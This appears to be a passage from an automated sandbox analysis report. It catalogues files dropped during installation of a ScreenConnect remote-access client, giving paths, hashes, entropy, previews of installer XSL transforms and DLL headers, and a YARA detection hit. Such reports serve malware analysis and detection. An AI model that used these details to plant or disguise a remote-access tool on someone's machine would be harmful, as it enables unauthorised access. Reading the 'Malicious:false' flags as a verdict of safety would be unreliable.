                                                                                        MD5:8BD7F5FAA7C10C7BD3DADF217622D3C5
                                                                                        SHA1:DEDA0F0C8521A9D6F94F76C528249504E0EE1FB9
                                                                                        SHA-256:378CA2D1E4663403C3C43F1A4928821D9E6CF10BE535C084A23FF5B54C3B72DD
                                                                                        SHA-512:0681765200BD3E5DFA81C0F2BBD156CFA70B91433DDA02F1DB0F440CB697E6399C3177B821CE62535003E9E3849D5B695E4DCAB6593CAFC70E673EEF99D2ACB5
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="2.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ...xmlns:msxsl="urn:schemas-microsoft-com:xslt"...exclude-result-prefixes="msxsl"..>...<xsl:output method="xml" omit-xml-declaration="yes"/>...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*"/>....</xsl:copy>...</xsl:template>.....<xsl:variable name="EnableGuestRequireConsentToggle" select="configuration/ScreenConnect.UserInterfaceSettings/setting[@name='EnableGuestRequireConsentToggle']" />...<xsl:variable name="SupportLockMachineOnDisconnect" select="configuration/ScreenConnect.UserInterfaceSettings/setting[@name='SupportLockMachineOnDisconnect']" />...<xsl:variable name="AccessLockMachineOnDisconnect" select="configuration/ScreenConnect.UserInterfaceSettings/setting[@name='AccessLockMachineOnDisconnect']" />...<xsl:variable name="SupportLockMachine

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformClientOverrideResx.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1135
                                                                                        Entropy (8bit):5.055198370362517
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:3qae8NW+OOt69ta9DAa9DtPMwrDAiFGrZs1BEU/q5rM/+01j:3qae8NW6SubtzAiFGrZC+IYrRqj
                                                                                        MD5:7F75CED83D8C263A88A622A1E089B902
                                                                                        SHA1:4C14858C78B556A0D1A02D596F74059944AE7865
                                                                                        SHA-256:115937C6A57BFC17E1F9EA92C0C146DB44C803A449207FC77DD53CB0824DAA29
                                                                                        SHA-512:C813C1D990DDAFE9B1A441791870A7238673E9CBA25CC044A6679EC2707323E3B91AEC6DE7CC14E434297B10DC33987D3C1FD7FDB2F742370F272C80FC01DA4C
                                                                                        Malicious:false
                                                                                        Preview:.<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl">..<xsl:output method="xml" omit-xml-declaration="yes"/>...<xsl:template match="/root">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />.....<xsl:if test="count(data[@name='ApplicationDirectoryName']) = 0 and count(data[@name='ApplicationTitle']) &gt; 0" xml:space="preserve"> <data name="ApplicationDirectoryName" xml:space="preserve">.. <value><xsl:value-of select="data[@name='ApplicationTitle']/value" /></value>.. </data>..</xsl:if>....</xsl:copy>...</xsl:template>...<xsl:template match="/root//node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>...</xsl:template>... this should be handled with the updated xsl which accounts for missing input files -->... we originally took this out because the Xsl.exe was updated to handle missing files but it seems like we still need t

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformLicenseXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1768
                                                                                        Entropy (8bit):5.101132156143849
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:3qagl80iEFFrbb2FbZb0FbfeAPd5p+3FsJvP95vJ2rFuFnrRPOQR:aji3ALemVP95vH9
                                                                                        MD5:258C82001204536C091D6ABF60724339
                                                                                        SHA1:1C71A8427C60C962D655AD5199F1D68A049EE549
                                                                                        SHA-256:C7EA7315ED86E55D841CE665C02D119D1F054F810BE7EE346A268E10F5826957
                                                                                        SHA-512:3A6187B53319D096915CAACE9D65F9D40CA04EB274849D8EB4C934FF709CD02E3912C6D22AE5695B9B25FD23C86D13C1B61BD39DCBCD0AF397988AF0393CA9D6
                                                                                        Malicious:false
                                                                                        Preview:.<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:ScreenConnect" exclude-result-prefixes="msxsl user">...<xsl:param name="licenseSignatureKey" />...<xsl:param name="licenseID" />.....<msxsl:script language="C#" implements-prefix="user" xml:space="preserve">....<msxsl:assembly name="System.Configuration" />....<msxsl:assembly name="ScreenConnect.Windows" />....<msxsl:assembly name="ScreenConnect.Server" />....<msxsl:assembly name="ScreenConnect.Core" />....<msxsl:using namespace="ScreenConnect" />....<msxsl:using namespace="System.IO" />....<msxsl:using namespace="System.Xml.Serialization" />....<msxsl:using namespace="System.Text" />........public string GenerateLicenseXml(string licenseSignatureKey, string licenseID)....{.....var license = new CloudLicense { LicenseID = licenseID };.......var envelope = new LicenseEnvelope { Contents = license };.....envelope.Sign(Convert.FromBase64String(lice

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformOverriddenKeys.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):629
                                                                                        Entropy (8bit):5.130173870130788
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:yhkVRoUFLjco4IMs/XCZsDJMtR99oRXbHmiioRXbHmiHIfISdXt:KKer7n9AHvHjSXv
                                                                                        MD5:31908D4B70E384C9F4D42CB05A28A73C
                                                                                        SHA1:7A69055E9EB8E482C009F12CF5E555585531663B
                                                                                        SHA-256:3D8138FDD91F148DE65DC062A9A4BD9781449B5D8C526157C61A04BFD86255F2
                                                                                        SHA-512:ED993EB8848E144085D9335D82CBC6DFE940F6649C972EC173883486899186E94EF69992457A221B37F9BE3934B629EE7F7965C2D7C671B97DB210AC060FD589
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">...<xsl:param name="baseFilePath" />..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>...</xsl:template>.....<xsl:template match="/root/data">....<xsl:if test="count(document($baseFilePath)/root/data[@name = current()/@name]) != 0 and document($baseFilePath)/root/data[@name = current()/@name]/value != current()/value">.....<xsl:copy>......<xsl:apply-templates select="node()|@*" />.....</xsl:copy>....</xsl:if>...</xsl:template>..</xsl:stylesheet>..

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformRoleXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):5837
                                                                                        Entropy (8bit):5.223683802415461
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:3RW/8dr71427K9y+mXrlREtoO8gSs0e2tx4u/h0MrlGEsoi3itx4u/h0frlyEBFC:hWW0wtGtUpe2nhbjsvynhaHBGnhMBbZY
                                                                                        MD5:144ADC93F53E457A1BFFA5372FD3C09B
                                                                                        SHA1:6B19BB56C3C2F6E761D16D42112B57BD5E50D49E
                                                                                        SHA-256:D467FE93A43F887F3F5440F9C9B9C66739DF8C064FA6A467AA102123EEDBEB4B
                                                                                        SHA-512:08CA5D41C46CCD09F7FDE4EE325A38F0AE215AD9003CC9F0AF2B70AD59AC0A9995217EAC6A749E0BCFCE24AA23C0F106A42F6C4D1D367FD82429BCE4468B7487
                                                                                        Malicious:false
                                                                                        Preview:.<xsl:stylesheet.version="1.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"..>...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>...</xsl:template>..... identity transform for self-closing tags -->...<xsl:template match="*[not(text()) and not(*)]">....<xsl:copy>.....<xsl:apply-templates select="@*" />....</xsl:copy>...</xsl:template>.....<xsl:template match="PermissionEntry[@OwnershipFilter!='OwnedAndUnowned' and @AccessControlType!='Deny']" />.....<xsl:template match="@xsi:type[.='SessionOwnershipPermissionEntry']">....<xsl:attribute name="xsi:type">SessionPermissionEntry</xsl:attribute>...</xsl:template>.....<xsl:template match="@OwnershipFilter" />.....<xsl:template match="@Name[.='EndSession']">....<xsl:attribute name="Name">DeleteSession</xs

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformSecurityEventTriggerXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:exported SGML document, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):741
                                                                                        Entropy (8bit):5.169072715134804
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:yJ6Va8io1rO4ej+QhFLjco4IMs/XCZFr5CyWi7s/XCZDSbn:xa8ZrO4ej+4er7ftC127N8n
                                                                                        MD5:41DFF6114A921D7AC5637B8AC9F04DC4
                                                                                        SHA1:03880D70FA6A268C040025E90BC767D572BA36A0
                                                                                        SHA-256:2CEFD9DB01C7A6F8E33A7DADBF511E963E56FF87D18064BAB2E4FE2D00A95797
                                                                                        SHA-512:FE12502B10B35EF09837A8DE8CC1D7A0A67AAFBEBAF2E6911302D3E4C2F0379DFFF41B476ECBED04F24083F4B80C779F6CD19CB69633C0D6C8A3CE27ABD78958
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="1.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"..>...<xsl:output omit-xml-declaration="yes" encoding="ASCII" />...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />...<xsl:param name="oldVersionBuild" />..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>...</xsl:template>..... identity transform for self-closing tags -->...<xsl:template match="*[not(text()) and not(*)]">....<xsl:copy>.....<xsl:apply-templates select="@*" />....</xsl:copy>...</xsl:template>..... no actual transforms for now -->....</xsl:stylesheet>..

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformSessionEventTriggerXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:Algol 68 source, ASCII text, with very long lines (14704), with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):165735
                                                                                        Entropy (8bit):4.0957845053651
                                                                                        Encrypted:false
                                                                                        SSDEEP:768:+aOZY/q3nv4eEPg8YFNHo9GHVIO35EiOGielK2pY/q3nv4eEPg8YFNHo9GHVI+3F:+aJ/CnQehCGHVt43/CnQehCGHVf1
                                                                                        MD5:4D5B6FB68883C7842D5397D54E85ABC2
                                                                                        SHA1:02DC58F27E440F02B5FC4872083C7DAFD2DD98C0
                                                                                        SHA-256:6224B2FE77D2D9104E1BF79573CE1849C408744278DEEB198622FB28E46D80CE
                                                                                        SHA-512:9398B8A85DD3B22B0F48AB05B8C9FF34C0B087BF49DF82320D93D1D52D4E26533A0EFA1BF0696DE4052A33AF0BAC824CC8A1F5998EEB5D25E438F9E4110622EF
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="1.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:msxsl="urn:schemas-microsoft-com:xslt"...xmlns:asm="urn:schemas-microsoft-com:asm.v1"...xmlns:user="urn:ScreenConnect"...exclude-result-prefixes="msxsl asm user"..>...<xsl:output omit-xml-declaration="yes" encoding="ASCII" />...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />...<xsl:param name="oldVersionBuild" />...<xsl:variable name="singleQuote">'</xsl:variable>.....<msxsl:script language="C#" implements-prefix="user">....<msxsl:using namespace="System.Text.RegularExpressions" />....<![CDATA[......public static string RegexReplace(string input, string pattern, string replacement)....{.....return Regex.Replace(input, pattern, replacement);....}.... ...</msxsl:script>..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformSessionGroupXml.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:Algol 68 source, ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1564
                                                                                        Entropy (8bit):5.254408929629647
                                                                                        Encrypted:false
                                                                                        SSDEEP:24:xa8gaRs7rO4ej+HLSEWucLxjUbNtBUU/Der7ftC127vwKwNwwkFEphRynS2n:E8gaRsTtogYq6r71427IbNxkFDSq
                                                                                        MD5:26E0BFF9194950526A0BA294210BAF79
                                                                                        SHA1:026D99742D35B1ECCB0DF29ECDA19CECE0387C88
                                                                                        SHA-256:248DCA9B0706E95A2CBE18B4959ECCA5DFA2D4A77AADC66BF7BA9734757EF29C
                                                                                        SHA-512:A3B29F916B29FE84DA5B4A9FB74BBCCB04781A0021C7C9EE4195D5D8024B9A5A7C64CDEF9AA98E10F1E68060E29E74677CD43002086FD76F3BAEB69B2147715B
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="1.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:msxsl="urn:schemas-microsoft-com:xslt"...xmlns:asm="urn:schemas-microsoft-com:asm.v1"...xmlns:user="urn:ScreenConnect"...exclude-result-prefixes="msxsl asm user"..>...<xsl:output omit-xml-declaration="yes" encoding="ASCII" />...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />...<xsl:param name="oldVersionBuild" />.....<msxsl:script language="C#" implements-prefix="user">....<msxsl:using namespace="System.Text.RegularExpressions" />..<![CDATA[......public static string RegexReplace(string input, string pattern, string replacement)....{.....return Regex.Replace(input, pattern, replacement);....}.... ...</msxsl:script>..... basic identity transform -->...<xsl:template match="node()|@*">....<xsl:copy>.....<xsl:apply-templates select="node()|@*" />....</xsl:copy>...</xsl:template>..... identity transform for sel

                                                                                        C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\TransformWebConfig.xsl

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:Algol 68 source, ASCII text, with very long lines (1649), with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):42037
                                                                                        Entropy (8bit):5.478811092639316
                                                                                        Encrypted:false
                                                                                        SSDEEP:768:E1YNsh5xxCuEfxBDyp818n4SIOaUUX4bwsfVdfdFNvwDxjLVO88RlUEjKRMX9HPk:E1VCuEfxBDyp818n4SPaUUIbwsfVdfdA
                                                                                        MD5:3E2819DAE208FB16B35E83522C9E1E21
                                                                                        SHA1:325D9AB2122FF9B41AE936326CD23A0CBCCD16BE
                                                                                        SHA-256:6B93D87A6547CEDD4EE11EB7E9373963B89F98536A7F834D4564977306021554
                                                                                        SHA-512:6D5388F35C0958ACE0EAFDF8E98A3125D2535AC25670C0E13EED6664E9D97B6B2ED48889FD07CE9B74C0E8923C0BB796C537B0F4EB5C76A85B1E24474367ED6F
                                                                                        Malicious:false
                                                                                        Preview:<xsl:stylesheet version="1.0"...xmlns:xsl="http://www.w3.org/1999/XSL/Transform"...xmlns:msxsl="urn:schemas-microsoft-com:xslt"...xmlns:asm="urn:schemas-microsoft-com:asm.v1"...xmlns:user="urn:ScreenConnect"...exclude-result-prefixes="msxsl asm user"..>...<xsl:output omit-xml-declaration="yes" encoding="ASCII" />...<xsl:strip-space elements="add remove httpRuntime" />...<xsl:param name="configuration" />...<xsl:param name="platform" />...<xsl:param name="oldVersionMajor" />...<xsl:param name="oldVersionMinor" />...<xsl:param name="version" />...<xsl:param name="utcOffsetMinuteCount" />..... NOTE: this only supports C# 2.0 and .NET Framework 2.0-->... Custom/XslScratchpad is setup with the same C#/.NET configuration to provide full IDE support, so changes should be made/tested there and then copied to this section -->...<msxsl:script language="C#" implements-prefix="user">....<msxsl:using namespace="System.Collections.Generic" />....<msxsl:using namespace="System.Security.Crypto

                                                                                        C:\Windows\Installer\4c1432.msi

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {87BA6F17-ED48-2213-B0B4-DE77D334918D}, Create Time/Date: Wed May 29 14:47:46 2024, Last Saved Time/Date: Wed May 29 14:47:46 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                        Category:dropped
                                                                                        Size (bytes):8249344
                                                                                        Entropy (8bit):7.949102976609468
                                                                                        Encrypted:false
                                                                                        SSDEEP:98304:gEnXkHywo+EVhaecMUzG4uc96ob2KEnXkHywo+EVhaecMUCEnXkHywo+EVhaecMk:rZs6Uruc9XboZs6UJZs6UgZs6U
                                                                                        MD5:A41D8AA583E034822C084A74EAC45268
                                                                                        SHA1:03E24D97759F550F5B261E552E7321DB478C2FF6
                                                                                        SHA-256:7A004ABAE96E562926D9AF1CF9E323DE387923C24A0A6779D343B64537C4CC1B
                                                                                        SHA-512:71C801134371AD7458E1BC023FB6F50B3AA01116B9316944D491254DB29BA811B855EC194810320B5B106701234D207D31A264F15A3D73305792F22CA49FD1B0
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\4c1434.msi

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {87BA6F17-ED48-2213-B0B4-DE77D334918D}, Create Time/Date: Wed May 29 14:47:46 2024, Last Saved Time/Date: Wed May 29 14:47:46 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                        Category:dropped
                                                                                        Size (bytes):8249344
                                                                                        Entropy (8bit):7.949102976609468
                                                                                        Encrypted:false
                                                                                        SSDEEP:98304:gEnXkHywo+EVhaecMUzG4uc96ob2KEnXkHywo+EVhaecMUCEnXkHywo+EVhaecMk:rZs6Uruc9XboZs6UJZs6UgZs6U
                                                                                        MD5:A41D8AA583E034822C084A74EAC45268
                                                                                        SHA1:03E24D97759F550F5B261E552E7321DB478C2FF6
                                                                                        SHA-256:7A004ABAE96E562926D9AF1CF9E323DE387923C24A0A6779D343B64537C4CC1B
                                                                                        SHA-512:71C801134371AD7458E1BC023FB6F50B3AA01116B9316944D491254DB29BA811B855EC194810320B5B106701234D207D31A264F15A3D73305792F22CA49FD1B0
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\MSI15E7.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:data
                                                                                        Category:dropped
                                                                                        Size (bytes):423362
                                                                                        Entropy (8bit):6.577227518290168
                                                                                        Encrypted:false
                                                                                        SSDEEP:6144:buH2aCGw1ST1wQLdqv5uH2aCGw1ST1wQLdqvI:buH2anwohwQUv5uH2anwohwQUvI
                                                                                        MD5:C7A0E5DA1B246003CE184BA04031A14D
                                                                                        SHA1:CABD45992B33888CFAC1992BC184607087C09BE3
                                                                                        SHA-256:7D1E6C8C57BE946A0C0EB9019CAA06A072C2B9FD26EA53336CA8F9B8A9BD02AF
                                                                                        SHA-512:53BE8BD1DE845AE2CD37AB3A17AB7D01D735089642157B51BCE820AF504EDA3D6CE68728119DB7A1B45C054D366EC35DD6C7B337A35CE855BCA2FF657D99CE31
                                                                                        Malicious:false
                                                                                        Yara Hits:
                                                                                        • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\MSI15E7.tmp, Author: Joe Security
                                                                                        Preview:...@IXOS.@.....@%8[Y.@.....@.....@.....@.....@.....@......&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}'.ScreenConnect Client (3a24aebb8959bcfa)..INSPECAO-B01S.msi.@.....@.....@.....@......DefaultIcon..&.{87BA6F17-ED48-2213-B0B4-DE77D334918D}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (3a24aebb8959bcfa)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{D42CA421-A3C1-15D6-4810-B6C0D604145C}^.C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll.@.......@.....@.....@......&.{75EF4394-3270-ADB6-D593-0F8202C9237A}f.C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exe.@.......@.....@.....@......&.{915C500B-050C-F208-AC35-E6715450BEFD}c.C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exe.@.

                                                                                        C:\Windows\Installer\MSI1608.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):207360
                                                                                        Entropy (8bit):6.573348437503042
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
                                                                                        MD5:BA84DD4E0C1408828CCC1DE09F585EDA
                                                                                        SHA1:E8E10065D479F8F591B9885EA8487BC673301298
                                                                                        SHA-256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
                                                                                        SHA-512:7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../...*.../......./......./.....n./.*.*.../.*./.../.*...../....../.*.-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\MSI17AE.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):207360
                                                                                        Entropy (8bit):6.573348437503042
                                                                                        Encrypted:false
                                                                                        SSDEEP:3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
                                                                                        MD5:BA84DD4E0C1408828CCC1DE09F585EDA
                                                                                        SHA1:E8E10065D479F8F591B9885EA8487BC673301298
                                                                                        SHA-256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
                                                                                        SHA-512:7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
                                                                                        Malicious:false
                                                                                        Antivirus:
                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../...*.../......./......./.....n./.*.*.../.*./.../.*...../....../.*.-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\SourceHash{87BA6F17-ED48-2213-B0B4-DE77D334918D}

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):20480
                                                                                        Entropy (8bit):1.1654595977929678
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:JSbX72FjrAGiLIlHVRpEh/7777777777777777777777777vDHFEYjUrl/l0i8Q:JNQI5U1DF
                                                                                        MD5:A90A288AF71908B160C0FD1365C26527
                                                                                        SHA1:24E66CD3C4764D624E75EA199BE90244FAEA74BD
                                                                                        SHA-256:8BA661142915C0CF8BFCE6AD2EFA72F88623E3ACC8155FB8C699EE08C1B610EF
                                                                                        SHA-512:C4497D8E4E41184958F50D3C5242812E35974C6EF43954DF13818DC6F34EF741F686AFD7FFE8F8404065B184F48BB8DDAE601554757505517D4691D0C1DBA60F
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\inprogressinstallinfo.ipi

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Composite Document File V2 Document, Cannot read section info
                                                                                        Category:dropped
                                                                                        Size (bytes):20480
                                                                                        Entropy (8bit):1.789631956260909
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:38PhDuRc06WXJS/T5mN+nyqcq56AduNSi4+idRxNLr7Qn3wiz2+Oo8rGAduNSID+:2hD1J/TsWHpofedh/+/z
                                                                                        MD5:03D56FFAA10A5A406A3D3AC9E162D5E2
                                                                                        SHA1:E0542DE137FDDB1821079B26563B28EB64E10B9A
                                                                                        SHA-256:A88E6E057AA15425DD78A091D2CBCAF9BF152E5A63F756B1D6B766FBCF12419B
                                                                                        SHA-512:6FA628078449AB9C09D7ECFE177ED9DB4B8BC3383092C7576EB236489222D4DD32C17AC7D3EA56677ADA969C361834BCAB65DD1CD24BBD473BD320E2E3C231AD
                                                                                        Malicious:false
                                                                                        Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\Installer\{87BA6F17-ED48-2213-B0B4-DE77D334918D}\DefaultIcon

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:MS Windows icon resource - 3 icons, 16x16 with PNG image data, 16 x 16, 8-bit colormap, non-interlaced, 4 bits/pixel, 32x32 with PNG image data, 32 x 32, 1-bit colormap, non-interlaced, 4 bits/pixel
                                                                                        Category:dropped
                                                                                        Size (bytes):435
                                                                                        Entropy (8bit):5.289734780210945
                                                                                        Encrypted:false
                                                                                        SSDEEP:12:Kvv/7tghWPjScQZ/Ev/739Jgh5TZYR/v/71XfghNeZ:QOZZq9JOz0dONeZ
                                                                                        MD5:F34D51C3C14D1B4840AE9FF6B70B5D2F
                                                                                        SHA1:C761D3EF26929F173CEB2F8E01C6748EE2249A8A
                                                                                        SHA-256:0DD459D166F037BB8E531EB2ECEB2B79DE8DBBD7597B05A03C40B9E23E51357A
                                                                                        SHA-512:D6EEB5345A5A049A87BFBFBBBEBFBD9FBAEC7014DA41DB1C706E8B16DDEC31561679AAE9E8A0847098807412BD1306B9616C8E6FCFED8683B4F33BD05ADE38D1
                                                                                        Malicious:false
                                                                                        Preview:..............z...6... ..............00..........0....PNG........IHDR.............(-.S....PLTE....22.u......tRNS.@..f..."IDATx.c` .0"...$.(......SC..Q8....9b.i.Xa.....IEND.B`..PNG........IHDR... ... .....I......PLTE....22.u......tRNS.@..f...(IDATx.c`...... ... D.......vb.....A`..(.-s...q....IEND.B`..PNG........IHDR...0...0.....m.k.....PLTE....22.u......tRNS.@..f...+IDATx.c` .......Q...S.@..DQu...4...(.}DQD...3x........IEND.B`.

                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\msiexec.exe
                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):432221
                                                                                        Entropy (8bit):5.375175486082554
                                                                                        Encrypted:false
